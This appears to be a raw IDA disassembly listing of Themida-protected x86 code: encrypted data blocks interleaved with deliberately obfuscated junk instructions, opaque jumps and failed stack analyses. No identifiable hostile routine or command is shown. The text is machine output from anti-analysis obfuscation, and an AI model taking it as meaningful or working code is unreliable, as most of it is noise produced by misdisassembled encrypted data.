789A837Ah, 5951116Ah, 74D0805Eh dd 860Fh, 0AE80000h, 4C000000h, 62E2212Ch, 1C2FDC16h, 0F5BFCFCh dd 488h, 0CABE6600h, 0D8BF66ADh, 0FEBF0F9Ah, 4810Fh, 0B8660000h dd 0B70F9217h, 18F0FC9h, 0F9000000h, 13E9h, 7CEBED00h dd 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh, 4800Fh dd 0BE660000h, 0B70F70AFh, 0FF98BC7h, 184h, 9E9F500h, 0FB000000h dd 5F22B2AFh, 2FF96FB0h, 0E3F4FDBEh, 78C0F75h, 60000000h dd 83E98166h, 0AE961A6h, 82000000h, 28862283h, 0DE970649h dd 0C4B157F9h, 10E95Ah, 0D5F40000h, 96CEC5B0h, 6255C966h dd 9E657Fh, 0D4803F70h, 0BB72BE89h, 8E91FF6h, 4D000000h dd 9D9042F1h, 0E912E9EEh, 7, 341CE73Bh, 66866272h, 0FE8D98Bh dd 71000000h, 6313EEC7h, 96D64631h, 4C63807Eh, 0BE98482h dd 4F000000h, 0DA3CF9CAh, 85D9F132h, 665BDA84h, 660C06BBh dd 0FC1F32B8h, 0A7EFC381h, 80601D61h, 0CE939F1h, 4F000000h dd 4B546F15h, 798BFA5Bh, 61BECAE2h, 5890Fh, 81660000h dd 811CFBDFh, 37F3CAC0h, 0F2B70F31h, 0FE9D18Bh, 99000000h dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 66F81902h, 0FCAC19B8h dd 0FE8h, 21EC9200h, 0E21F2C22h, 27EBCEC0h, 0E7C7F0F6h dd 5A585351h, 0FAB70F59h, 0F8C28B66h, 0FBD28166h, 0CE8CBh dd 97B00000h, 0BFD3A4D8h, 0A6573C5h, 0BF0FCDD1h, 4CB85FC6h dd 664978D3h, 66CE13BEh, 60FEA2BFh, 0CD11BB66h, 0C68B6656h dd 0C3806158h, 0C38B668Bh, 6650D78Bh, 6659F38Bh, 0EE9D68Bh dd 0 dd 6B41F8B5h, 3D1FADA2h, 0B9903ECEh, 60BEB201h, 80F88B66h dd 506141E2h, 8C0F51h, 5F000000h, 0E881665Bh, 6060CAA7h dd 0FA73DF81h, 816644C3h, 613F5DCFh, 0AE861h, 29400000h dd 9821B3Ah, 542EB427h, 28B0Fh, 5E500000h, 10E958h, 0F7490000h dd 0D4AE67C4h, 0ECE8D98Ah, 445B9DD7h, 0BF0F1A49h, 8BF28BCEh dd 850FF0h, 0F000000h, 14E9FEBFh, 57000000h, 0BA8FC788h dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 66F72340h, 0BF0FF88Bh dd 5810FF7h, 0BE000000h, 5EAED2C5h, 13E9h, 1A63900h, 80EC63E0h dd 518F4481h, 6CC51EAEh, 9078E030h, 288C0Fh, 0FE80000h dd 0B9000000h, 78761D2Bh, 864B7156h, 5BD5A1E7h, 0EE9681Ch dd 83000000h, 0BD4BA613h, 340C6E14h, 27C6862h, 0FC575F06h dd 0CE95Bh, 8FA50000h, 0CF275AA8h, 42E9FE33h, 0E9FC3658h dd 5, 0CEF181D7h, 68F0F0Ah, 81000000h, 77C01C2h, 0F0BF666Eh dd 8166F8B8h, 0FCA07C6h, 8B66C0B7h, 9148BEC3h, 6E91D6Ch dd 0F0000000h, 10FB5708h, 18850F8Dh, 0E9000000h, 13h, 0AED6EEA0h dd 47B232D5h, 93CCB86Bh, 0BC8FF90Fh, 0F980DC3h, 8B66D2B7h dd 13E9DAh, 0CC870000h, 0C41E5F50h, 6388631Ch, 993E69D4h dd 1D424CA3h, 0F28166C7h, 880F2150h, 2, 8C0FDE8Bh, 5, 27B0BEBAh dd 3A46BF6Ch, 0FF558B9h, 0F52DBB7h, 188h, 0B45EF900h, 4DBA6092h dd 617E84D5h, 890F60h, 61000000h, 0DD2CC3B8h, 7E9F504h dd 0F8000000h, 0C9F42F84h, 66F575BBh, 0DB81D881h, 17800Fh dd 12E90000h, 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh dd 0BA8E8909h, 47B86668h, 60F78BE2h, 66C28B66h, 0A8C0CB81h dd 0FFCF861h, 198Ch, 14E900h, 67340000h, 5D655C1Eh, 0E724ADF9h dd 0D341107Fh, 624605CAh, 8B519512h, 0E0805EFEh, 7BE18140h dd 664F45C7h, 4CFF781h, 11E9h, 0FD3DDC00h, 0E554D1Fh, 379E7258h dd 85C2AECDh, 8E96E7Fh, 7D000000h, 9B3FAB3h, 66F8E436h dd 0F22A3BEh, 687h, 41C68100h, 0E937A04Bh, 8, 917F6E99h dd 0C000CEC7h, 1A810Fh, 810F0000h, 14h, 0EE8h, 5BE1FA00h dd 0C889EB88h, 9335F770h, 5ED607C6h, 0C8B0Fh, 810F0000h dd 6, 890Fh, 810F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0 ; --------------------------------------------------------------------------- call near ptr loc_5FF9D9+4 mov ebp, 0FAE3B8A8h inc ebx add dl, bl loc_5FF9D9: ; CODE XREF: Themida_:005FF9CCp sbb eax, 6050BB6Eh movzx edx, di push edi pop ebx popa pop eax movsx eax, si pusha mov ax, 5D62h jmp loc_5FFA04 ; --------------------------------------------------------------------------- sub eax, 0BCD5D89Eh inc ecx mov dword ptr [esi], 2300E76Fh aaa mov eax, 0DF613878h loc_5FFA04: ; CODE XREF: Themida_:005FF9EDj popa jle loc_5FFA0C cmc loc_5FFA0C: ; CODE XREF: Themida_:005FFA05j jg $+6 jbe loc_5FFA2C jmp loc_5FFA2C ; --------------------------------------------------------------------------- adc [edx-5EACF2ECh], ecx or [esi+ebp*2+5B9030BCh], eax mov eax, ebx loc_5FFA2C: ; CODE XREF: Themida_:005FFA12j ; Themida_:005FFA18j mov edi, eax jno loc_5FFA39 mov edi, 2F7D1848h loc_5FFA39: ; CODE XREF: Themida_:005FFA2Ej ja loc_5FFA41 mov eax, edi loc_5FFA41: ; CODE XREF: Themida_:loc_5FFA39j mov dl, 4Eh call sub_5FFA51 cmp ch, ch test [eax-42h], edx jno short loc_5FFA72 db 36h push cs ; =============== S U B R O U T I N E ======================================= sub_5FFA51 proc near ; CODE XREF: Themida_:005FFA43p cmc pop ebx mov cx, di sub dx, 0E6F9h mov dx, bx sub ebx, 3CC85C76h movzx esi, dx ja loc_5FFA86 jmp loc_5FFA86 ; --------------------------------------------------------------------------- loc_5FFA72: ; CODE XREF: Themida_:005FFA4Dj das mov ecx, 0FC8957D6h sbb al, 3Bh sub [ebx+5Dh], edx inc edi pop esp cmp al, 0AFh sub eax, 0CBB7AD8h loc_5FFA86: ; CODE XREF: sub_5FFA51+16j ; sub_5FFA51+1Cj add edi, 273EE40Bh mov ax, 69ECh pusha mov bx, dx jmp loc_5FFA9F ; --------------------------------------------------------------------------- db 0D0h, 0FDh, 34h db 5Dh, 0F2h, 80h ; --------------------------------------------------------------------------- loc_5FFA9F: ; CODE XREF: sub_5FFA51+43j popa sub dl, 0B1h xor dh, 0ECh call sub_5FFAB4 push edx iret sub_5FFA51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0B4h, 36h, 99h dd 26E23D2Bh ; =============== S U B R O U T I N E ======================================= sub_5FFAB4 proc near ; CODE XREF: sub_5FFA51+55p pop ebx mov ecx, 780B2253h mov bx, 1620h mov si, 0AE47h mov ax, 5CE1h mov eax, 7D7BC7A0h mov ecx, edi call near ptr loc_5FFADC+1 fsubr dword ptr ds:3A9F5D9Bh mov cl, 48h jns short near ptr loc_5FFB4A+3 loc_5FFADC: ; CODE XREF: sub_5FFAB4+19p in al, 0Fh sub_5FFAB4 endp ; sp-analysis failed pop dword ptr [eax+eax] ; --------------------------------------------------------------------------- db 2 dup(0), 66h dd 5F0DEAB9h, 9E9h, 7B3FE700h, 87878F4Ah, 0BF6693CFh, 69BB7010h dd 0F79CC53h, 28Ah, 660AB500h, 0FAB92B9h, 8B60CFB7h, 8F0F56FBh dd 0 ; --------------------------------------------------------------------------- pop edi popa jnz loc_5FFB24 mov cx, 1423h loc_5FFB24: ; CODE XREF: Themida_:005FFB1Aj mov di, 0B0B0h push eax push esi mov di, 0D2B4h pop esi pop edi adc bx, 0D676h jle loc_5FFB3E movzx edi, dx loc_5FFB3E: ; CODE XREF: Themida_:005FFB35j push eax jns loc_5FFB49 mov di, 7D37h loc_5FFB49: ; CODE XREF: Themida_:005FFB3Fj pop edi loc_5FFB4A: ; CODE XREF: sub_5FFAB4+26j jl loc_5FFB5A pusha mov eax, 757B1962h mov ax, di popa loc_5FFB5A: ; CODE XREF: Themida_:loc_5FFB4Aj mov edx, ecx jmp loc_5FFB73 ; --------------------------------------------------------------------------- db 7Eh, 0DDh, 15h dd 3DC52935h, 4133086Ch, 3684110Ch db 29h, 0, 0D5h ; --------------------------------------------------------------------------- loc_5FFB73: ; CODE XREF: Themida_:005FFB5Cj clc call sub_5FFB86 sti retn ; --------------------------------------------------------------------------- db 42h dd 0A22034BAh, 78917644h db 0ABh, 30h ; =============== S U B R O U T I N E ======================================= sub_5FFB86 proc near ; CODE XREF: Themida_:005FFB74p mov bx, 4BABh pop edx call near ptr loc_5FFB90+5 loc_5FFB90: ; CODE XREF: sub_5FFB86+5p lock sar dword ptr [ebx+59F504BDh], 1 sub_5FFB86 endp ; sp-analysis failed xor ax, 0BF73h mov cx, 74A3h clc mov dx, 2F6Bh clc sub cx, 6AA2h push edi mov esi, edi pop esi mov esi, 82B6748h jmp loc_5FFBC1 ; --------------------------------------------------------------------------- db 9Bh, 8Bh, 0F8h dd 879B3FC7h db 3 ; --------------------------------------------------------------------------- loc_5FFBC1: ; CODE XREF: Themida_:005FFBB4j push edi jp loc_5FFBDF jmp loc_5FFBDF ; --------------------------------------------------------------------------- db 0DCh, 9Ch, 4Ah dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h db 0CFh, 42h, 4Eh ; --------------------------------------------------------------------------- loc_5FFBDF: ; CODE XREF: Themida_:005FFBC2j ; Themida_:005FFBC8j pop eax mov eax, 64D4B661h jnz loc_5FFBF4 jno loc_5FFBF4 and dl, 71h loc_5FFBF4: ; CODE XREF: Themida_:005FFBE5j ; Themida_:005FFBEBj mov edx, ebx jmp loc_5FFC0D ; --------------------------------------------------------------------------- db 89h dd 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0E0D912BEh ; --------------------------------------------------------------------------- dec ebx loc_5FFC0D: ; CODE XREF: Themida_:005FFBF6j mov ch, dl movsx ecx, bx mov cx, 7BAAh mov ecx, edx jge loc_5FFC20 mov cl, 3Fh loc_5FFC20: ; CODE XREF: Themida_:005FFC18j jmp loc_5FFC2B ; --------------------------------------------------------------------------- db 0B4h, 50h, 37h db 0DFh, 0CDh, 0C6h ; --------------------------------------------------------------------------- loc_5FFC2B: ; CODE XREF: Themida_:loc_5FFC20j jz loc_5FFC36 or bx, 60BBh loc_5FFC36: ; CODE XREF: Themida_:loc_5FFC2Bj cmc jmp loc_5FFC50 ; --------------------------------------------------------------------------- dd 0C0A9779Bh dword_5FFC40 dd 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 4EAC0232h ; CODE XREF: Themida_:005FFC9Aj ; --------------------------------------------------------------------------- loc_5FFC50: ; CODE XREF: Themida_:005FFC37j mov ecx, 24779B52h mov eax, 11CEC2Fh clc mov ax, 0EABh sbb edi, 45746BA3h adc edx, 3433FB48h mov si, cx mov edx, ecx mov ch, bl mov esi, ebx call near ptr loc_5FFC83+2 add ecx, 0Dh loc_5FFC7C: ; CODE XREF: Themida_:005FFCDCj mov esi, 0C2FDBE24h repne pop edi loc_5FFC83: ; CODE XREF: Themida_:005FFC74p add [ebx+66h], ch sbb ebx, 665F5161h mov ebx, 8B662585h mov byte ptr [esi-75h], 0F3h call loc_5FFCA1 jle short near ptr dword_5FFC40 test eax, 37EEC307h loc_5FFCA1: ; CODE XREF: Themida_:005FFC95p call sub_5FFCB7 ; --------------------------------------------------------------------------- dw 2439h dd 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh db 0DCh, 8Fh, 79h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5FFCB7 proc near ; CODE XREF: Themida_:loc_5FFCA1p stc pop edx pop edx xor edi, 564E528Eh and ecx, 1AD858CCh mov si, 8673h add ax, 3125h mov ebx, 5D29CC0Ch call sub_5FFCE0 sub_5FFCB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6Dh, 0C6h, 0C9h ; --------------------------------------------------------------------------- jnz short loc_5FFC7C shl byte ptr [eax], 1 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5FFCE0 proc near ; CODE XREF: sub_5FFCB7+1Dp mov di, 0F482h pop ebx adc dh, 34h jmp loc_5FFCFA ; --------------------------------------------------------------------------- db 0Dh, 6Fh, 7Ch dd 92068ADBh, 2DB2D020h db 0BDh, 16h ; --------------------------------------------------------------------------- loc_5FFCFA: ; CODE XREF: sub_5FFCE0+8j mov esi, 4910396Ah pusha mov bx, cx jmp loc_5FFD13 ; --------------------------------------------------------------------------- dd 4DBD3A63h, 5B2256FBh db 0F3h, 0F1h, 8 ; --------------------------------------------------------------------------- loc_5FFD13: ; CODE XREF: sub_5FFCE0+23j popa mov ch, 14h or dh, 8Dh clc jmp loc_5FFD2A ; --------------------------------------------------------------------------- db 0AAh dd 7A9895E7h, 0EEAF677Bh db 6Bh, 0F1h ; --------------------------------------------------------------------------- loc_5FFD2A: ; CODE XREF: sub_5FFCE0+3Aj add edx, 356333Fh adc edi, 4A5BDB8h jmp loc_5FFD4D ; --------------------------------------------------------------------------- db 0E4h dd 0A8B22DB9h, 0F0F4D807h, 3F8968B5h, 80E0E82Dh db 75h ; --------------------------------------------------------------------------- loc_5FFD4D: ; CODE XREF: sub_5FFCE0+56j movzx edx, di jnb loc_5FFD59 movsx edx, si loc_5FFD59: ; CODE XREF: sub_5FFCE0+70j call sub_5FFD6D mov al, al hlt sub_5FFCE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F8h, 66h, 4Bh dd 0F6D38DFDh, 9C1B5C34h ; --------------------------------------------------------------------------- pop ebx ; =============== S U B R O U T I N E ======================================= sub_5FFD6D proc near ; CODE XREF: sub_5FFCE0:loc_5FFD59p ; FUNCTION CHUNK AT 005FFD89 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005FFDAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005FFDC2 SIZE 0000001B BYTES jo loc_5FFD89 call near ptr loc_5FFD84+4 popa call near ptr 271B81C2h mov ebp, 4F974D01h cmc loc_5FFD84: ; CODE XREF: sub_5FFD6D+6p adc eax, 5F1DB01Dh sub_5FFD6D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_5FFD6D loc_5FFD89: ; CODE XREF: sub_5FFD6Dj pop edi mov dx, cx add edx, 5B4E3C18h pusha jns loc_5FFDAF jmp loc_5FFDAF ; END OF FUNCTION CHUNK FOR sub_5FFD6D ; --------------------------------------------------------------------------- db 0FCh dd 338CB136h, 0EE9953A5h, 9AD1212Dh db 9Eh, 0AFh, 0DFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FFD6D loc_5FFDAF: ; CODE XREF: sub_5FFD6D+27j ; sub_5FFD6D+2Dj jmp loc_5FFDC2 ; END OF FUNCTION CHUNK FOR sub_5FFD6D ; --------------------------------------------------------------------------- dd 9CB39FACh, 74BC1273h, 8B982CF5h db 0E7h, 0ACh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FFD6D loc_5FFDC2: ; CODE XREF: sub_5FFD6D:loc_5FFDAFj popa xor ebx, 750BF66Eh call sub_5FFDDD fcmovb st, st push ss bound eax, [edx] cld das mov esp, 0A6E01EE3h dec edx dec esp sti ; END OF FUNCTION CHUNK FOR sub_5FFD6D ; =============== S U B R O U T I N E ======================================= sub_5FFDDD proc near ; CODE XREF: sub_5FFD6D+5Cp mov edx, ebx pop ecx call loc_5FFDEE mov ebx, 67ACB1D6h push es xchg eax, ebp mov cl, 51h sub_5FFDDD endp ; sp-analysis failed loc_5FFDEE: ; CODE XREF: sub_5FFDDD+3p pop esi jbe loc_5FFDFA sbb di, 82B2h loc_5FFDFA: ; CODE XREF: Themida_:005FFDEFj add esi, 57B0E84Dh movzx edi, ax call loc_5FFE13 ; --------------------------------------------------------------------------- dd 542166FEh, 0ACF1CF55h db 0A7h, 0AEh, 14h ; --------------------------------------------------------------------------- loc_5FFE13: ; CODE XREF: Themida_:005FFE03p mov al, dl pop ebx stc mov esi, 4467345Bh js loc_5FFE33 call sub_5FFE30 ; CODE XREF: Themida_:005FFE2Aj inc ebx movsb pushf jb short near ptr loc_5FFE22+4 pop esp popa ; --------------------------------------------------------------------------- dw 0F9DBh ; =============== S U B R O U T I N E ======================================= sub_5FFE30 proc near ; CODE XREF: Themida_:loc_5FFE22p push edi pop eax pop edx loc_5FFE33: ; CODE XREF: Themida_:005FFE1Cj mov ax, cx mov bx, 0FA64h movsx ebx, si adc edx, 11DB28B0h and ebx, 51CC7C28h stc or edi, 356049B3h sub ax, 0E794h pusha push edi mov bl, 0F9h pop edx mov ecx, 1FE405FAh popa jmp loc_5FFE6B ; --------------------------------------------------------------------------- db 0D8h, 6Eh, 48h db 0ECh, 37h, 0DBh ; --------------------------------------------------------------------------- loc_5FFE6B: ; CODE XREF: sub_5FFE30+30j push esi pop edi sbb edi, 31FF5931h push edi movzx eax, cx pop esi mov ecx, ebx jns $+6 call near ptr loc_5FFE89+1 inc esp cld mov [ebx], edi loc_5FFE89: ; CODE XREF: sub_5FFE30+50p add al, 0Fh sub_5FFE30 endp ; sp-analysis failed mov es, word ptr ds:66000000h add edi, 665EC003h mov esi, 6660711Ah mov ecx, 0F96156E1h movzx esi, cx xor cx, 0C522h mov ecx, 0D321D7Ch jmp loc_5FFEB8 ; --------------------------------------------------------------------------- db 0E4h ; --------------------------------------------------------------------------- sub byte ptr [edi+edi*8], 9Ch loc_5FFEB8: ; CODE XREF: Themida_:005FFEAEj push edi xor di, 0FD61h pop edi cld jmp loc_5FFED0 ; --------------------------------------------------------------------------- db 9Bh, 0BCh, 2Fh dd 0C4FA4AFCh, 0FF88FFB8h ; --------------------------------------------------------------------------- loc_5FFED0: ; CODE XREF: Themida_:005FFEC0j pusha mov si, dx popa sub cl, 27h call sub_5FFEE9 stc inc edi clc inc ebx mov eax, 698C174h xor dl, bh xchg eax, edx ; =============== S U B R O U T I N E ======================================= sub_5FFEE9 proc near ; CODE XREF: Themida_:005FFED8p mov dx, cx pop eax push eax pop edi pusha movzx edx, ax jmp loc_5FFF02 ; --------------------------------------------------------------------------- mov eax, ds:0A84CD19Bh adc [eax], ecx db 3Eh sub al, al loc_5FFF02: ; CODE XREF: sub_5FFEE9+Aj popa mov ecx, eax jmp loc_5FFF14 ; --------------------------------------------------------------------------- dw 0B479h dd 82E01A88h, 0A5B0F550h ; --------------------------------------------------------------------------- loc_5FFF14: ; CODE XREF: sub_5FFEE9+1Cj clc call near ptr loc_5FFF29+1 scasb pusha pop es inc eax jmp short loc_5FFF21 ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- loc_5FFF21: ; CODE XREF: sub_5FFEE9+35j popa rcl byte ptr [edi+76CA2AE8h], 0CFh loc_5FFF29: ; CODE XREF: sub_5FFEE9+2Cp or [eax+71FFBC3Bh], bh sub_5FFEE9 endp ; sp-analysis failed pop edi pusha movzx eax, dx mov edx, ebx popa cmc call near ptr sub_5FFF48 mov al, ds:0BD2C8806h fbstp tbyte ptr [ebx-2E8617A4h] ; =============== S U B R O U T I N E ======================================= sub_5FFF48 proc far ; CODE XREF: Themida_:005FFF38p cld pop edi jnb loc_5FFF5C jnz loc_5FFF5C jge $+6 loc_5FFF5C: ; CODE XREF: sub_5FFF48+2j ; sub_5FFF48+8j call sub_5FFF6D retf sub_5FFF48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0B00Dh dd 7A9A75ADh, 51B940C5h db 10h ; =============== S U B R O U T I N E ======================================= sub_5FFF6D proc near ; CODE XREF: sub_5FFF48:loc_5FFF5Cp sub edx, 18068073h pop edi cmc jnp $+6 and ebx, 749DC18Ch jmp loc_5FFF8F ; --------------------------------------------------------------------------- dw 0C4A1h ; --------------------------------------------------------------------------- pop ecx mov al, ds:50ED45A3h xchg eax, esi loc_5FFF8F: ; CODE XREF: sub_5FFF6D+14j add ebx, 79A8F376h push ecx pop ebx push edi movzx edx, cx pop edi mov esi, edx mov di, 777Dh add bx, 0ECD7h pusha pusha add di, 1F23h movsx eax, si popa xor ax, 6AECh popa mov di, 5E32h movsx esi, di jb loc_5FFFC9 mov di, 341h loc_5FFFC9: ; CODE XREF: sub_5FFF6D+52j mov dx, 5C40h jns loc_5FFFE7 jmp loc_5FFFE7 ; --------------------------------------------------------------------------- dd 72FB698Bh, 3DA1BF8Fh, 0A55E49D0h db 90h db 0E6h, 41h ; --------------------------------------------------------------------------- loc_5FFFE7: ; CODE XREF: sub_5FFF6D+60j ; sub_5FFF6D+66j jmp loc_5FFFF6 ; --------------------------------------------------------------------------- dd 4997A71Bh, 0C301DBh db 0EFh, 86h ; --------------------------------------------------------------------------- loc_5FFFF6: ; CODE XREF: sub_5FFF6D:loc_5FFFE7j sub edx, 64FD62A7h mov si, dx jnp loc_60000C pusha mov bx, di pusha popa popa loc_60000C: ; CODE XREF: sub_5FFF6D+92j sbb eax, 2A0BE5CFh movsx esi, cx jmp loc_600025 ; --------------------------------------------------------------------------- cwde movsd sub al, [ebp+4Eh] daa and ecx, esp or al, 0B2h xchg eax, ecx loc_600025: ; CODE XREF: sub_5FFF6D+A8j mov edi, 62214E40h jno loc_600035 mov ecx, 17114A85h loc_600035: ; CODE XREF: sub_5FFF6D+BDj jmp loc_600041 ; --------------------------------------------------------------------------- dw 889Dh dd 870515EDh ; --------------------------------------------------------------------------- pop ebp loc_600041: ; CODE XREF: sub_5FFF6D:loc_600035j pusha jmp loc_60004C ; --------------------------------------------------------------------------- db 11h dd 0B1979F30h ; --------------------------------------------------------------------------- loc_60004C: ; CODE XREF: sub_5FFF6D+D5j mov di, 0A6ACh popa call near ptr loc_600061+5 push dword ptr [ebp-4B962523h] mov eax, 86AC9ACFh loc_600061: ; CODE XREF: sub_5FFF6D+E4p add bh, [eax-16B5B963h] sub_5FFF6D endp ; sp-analysis failed push es ; --------------------------------------------------------------------------- dd 8F000000h, 9B656A04h, 0BF0F5A15h, 8AC78BC3h, 0DDB753D9h dd 6DB9665Eh, 7E936h, 0C8880000h, 1E515F89h, 0C7816606h dd 850F7382h, 0 ; --------------------------------------------------------------------------- cld push ecx mov esi, ecx pop eax jmp loc_6000B0 ; --------------------------------------------------------------------------- dw 0C305h dd 8BA18564h, 78C61ABEh, 0C92D4686h ; --------------------------------------------------------------------------- loc_6000B0: ; CODE XREF: Themida_:0060009Dj mov cx, dx movsx edi, bx call sub_6000C3 aaa fadd dword ptr [esp+esi*8+0Ch] fisub dword ptr [edx] aaa ; =============== S U B R O U T I N E ======================================= sub_6000C3 proc near ; CODE XREF: Themida_:006000B6p jp loc_6000CE xor ax, 0F0E7h loc_6000CE: ; CODE XREF: sub_6000C3j pop edi mov dl, ch jmp loc_6000E3 ; --------------------------------------------------------------------------- dw 0C9F0h dd 0BF15DF0Fh, 17C28017h db 0ADh, 42h, 0F4h ; --------------------------------------------------------------------------- loc_6000E3: ; CODE XREF: sub_6000C3+Ej jl loc_6000F4 jb loc_6000F4 and bx, 0E8B8h loc_6000F4: ; CODE XREF: sub_6000C3:loc_6000E3j ; sub_6000C3+26j jmp loc_60010B ; --------------------------------------------------------------------------- db 0D7h, 14h, 18h dd 8B1D5EB1h, 47F80B2Ah, 1877D4F1h db 0BAh, 0D2h, 53h ; --------------------------------------------------------------------------- loc_60010B: ; CODE XREF: sub_6000C3:loc_6000F4j pusha mov di, 0B4FEh ja $+6 popa movzx esi, di jmp loc_600132 ; --------------------------------------------------------------------------- db 5Ah dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h db 0F7h, 0B1h ; --------------------------------------------------------------------------- loc_600132: ; CODE XREF: sub_6000C3+57j jmp loc_600143 ; --------------------------------------------------------------------------- db 77h dd 0DA5C65B5h, 2CE64552h db 63h, 58h, 31h ; --------------------------------------------------------------------------- loc_600143: ; CODE XREF: sub_6000C3:loc_600132j jbe loc_60014B mov edi, ebx loc_60014B: ; CODE XREF: sub_6000C3:loc_600143j call sub_60015F dec ebp retn 5EA2h sub_6000C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 9ADFC48h, 992E7378h db 0F3h, 0CFh, 2Fh ; =============== S U B R O U T I N E ======================================= sub_60015F proc near ; CODE XREF: sub_6000C3:loc_60014Bp cld pop edx movsx esi, di push ecx mov di, 5D9Fh pop ebx adc dx, 20C8h call near ptr loc_600184+4 and [edi-455E4D04h], dh xchg eax, ecx mov ah, 0E0h pushf db 2Eh dec esp lahf adc eax, [edx+6Ah] loc_600184: ; CODE XREF: sub_60015F+10p xor ebp, [ebx+6B58EADh] sub_60015F endp ; sp-analysis failed pop ebx movzx eax, di call near ptr loc_6001A5+1 db 36h inc ebx sahf push ss and [ecx+ecx*2+6Ah], dh or [ecx+71h], dl dec esp enter 0FFFF8FDDh, 0D0h mov ebx, [edi] loc_6001A5: ; CODE XREF: Themida_:0060018Ep or ebp, eax or al, 0 ; --------------------------------------------------------------------------- db 2 dup(0), 9Bh dd 937FA6Fh, 0CB6B3842h, 668D4911h, 5E3EDFB9h, 0C2BF0F5Ah dd 2890Fh, 0C68B0000h, 0ED9DE181h, 0B6B86A99h, 8A5ACC9Fh dd 0F8B70FD9h, 1A8C0Fh, 12E80000h, 0B9000000h, 0BAA6D074h dd 0B4ABCCD0h, 0AADBDC82h, 0F52C000Ah, 5F12B174h, 0A8E0Fh dd 5E90000h, 48000000h, 9687386Eh, 8BDE8BFCh, 0C3B70FC1h dd 0FC78B66h, 0BB66D6B7h, 0B70F6F0Fh, 0AE9DEh, 36E0000h dd 50B99139h, 0A0FB47C2h, 1521A0BEh, 0F63CBF26h, 0E9607DBFh dd 0Dh, 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0C88161DFh, 0ACB2BB6h dd 0C4A1E881h, 8B0F0512h, 5, 0D053DAB8h, 0DE91Dh, 0AE720000h dd 1F5C18F9h, 0BEE0C6D2h, 0F3F1A81h, 1786h, 12E900h, 0A9C60000h dd 0C8D92A41h, 702BF620h, 30F956B0h, 3DAF0CB7h, 0BE66DA8Bh dd 880F0C2Bh, 1Eh, 880F60h, 0E9000000h, 11h, 0A0B94136h dd 0CA0391C3h, 0F0EDE555h, 0D0DFA4D4h, 0E95361BBh, 0Ah dd 0C1E96FA0h, 317B9C3Bh, 8A5FA76Eh, 77FAB9D1h, 0C68105CBh dd 6D5A373Fh, 0AE9h, 0AA065200h, 39266FF7h, 56168C9Eh dd 8E9h, 5CB2B900h, 0B80E75B9h, 0F575F99h, 6658D3BFh, 0C78ADE8Bh dd 0E9C18B60h, 8, 55F67260h, 1B98DCB9h, 0AE861h, 0ED150000h dd 7EE2A520h, 0DC104434h, 0EE9h, 0A2F54A00h, 3FD91B47h dd 15EAC77Dh, 5F66021Ch, 0FE8F5h, 67710000h, 45D2EC75h dd 8A6FE66h, 0DA5603BDh, 1B74BEB4h, 0F85E23C9h, 0C2D68160h dd 8B1943B6h, 12E961FAh, 94000000h, 2489AFB8h, 88DE0443h dd 0F5838B14h, 1234FCE1h, 0BE907h, 497A0000h, 3241E120h dd 0C0A1B886h, 18E0FD7h, 0FC000000h, 0E9C28BF5h, 10h, 44AAB53Ah dd 50FC9DBEh, 5EC271AFh, 0EC553BE8h, 0CE97BB3h, 0D5000000h dd 0A560DCE1h, 0B288822h, 0E99B7106h, 8, 57A2A5E0h, 0B031C5B5h dd 0D8D88166h, 5ED680DAh, 8BC781F8h, 0F6165C6h, 0A8Fh dd 4820F00h, 66000000h, 660272BAh, 8AF6ADB9h, 660BB0E5h dd 0D681D08Bh, 133BF9F4h, 0BE950h, 4D9F0000h, 46CD5FD5h dd 6E75197Ah, 0CE85EA3h, 0F1000000h, 0ECF46404h, 0E8058C43h dd 0E9EC4E88h, 6, 9B6A7Ah, 605F8357h, 39DA8053h, 6056615Bh dd 61608FB7h, 81665E61h, 666BF2EEh, 0B3C971BFh, 0D68B66B7h dd 0D3C9E881h, 0FF81723h, 0FE8BC9BFh, 0BE952h, 23B20000h dd 0CFC68B29h, 944CFD58h, 0BF0F5F89h, 188B0FF8h, 0E9000000h dd 13h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h, 0F740D47h dd 8B66FFB7h, 0F28B66F8h, 3DD290BFh, 7CD8805Dh, 2860Fh dd 0E4B50000h, 0FCD08166h, 0E8F38B1Dh, 5, 0A4EAD44Eh, 5539BF65h dd 0E95846D2h, 6, 2B4359F9h, 0E960210Fh, 0Ah, 499BB94Ah dd 30ED25A7h, 840F769Bh, 0 ; --------------------------------------------------------------------------- popa jmp loc_6004DC ; --------------------------------------------------------------------------- rol esi, 1 and eax, 59637B06h test [eax+ebp], eax loc_6004DC: ; CODE XREF: Themida_:006004CDj mov bx, 919Dh jp loc_6004EA mov bx, 8363h loc_6004EA: ; CODE XREF: Themida_:006004E0j and edx, 14C90E93h call sub_6004FD bound ebp, [ebp-3Ah] leave jnz short near ptr dword_6001AC+2EDh ; CODE XREF: sub_600512+45j shl byte ptr [eax], 1 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_6004FD proc near ; CODE XREF: Themida_:006004F0p jmp sub_600512 sub_6004FD endp ; --------------------------------------------------------------------------- dw 25DEh dd 0DA52C1EEh, 19E9D7E8h, 4659C27Ah db 4Eh, 62h ; =============== S U B R O U T I N E 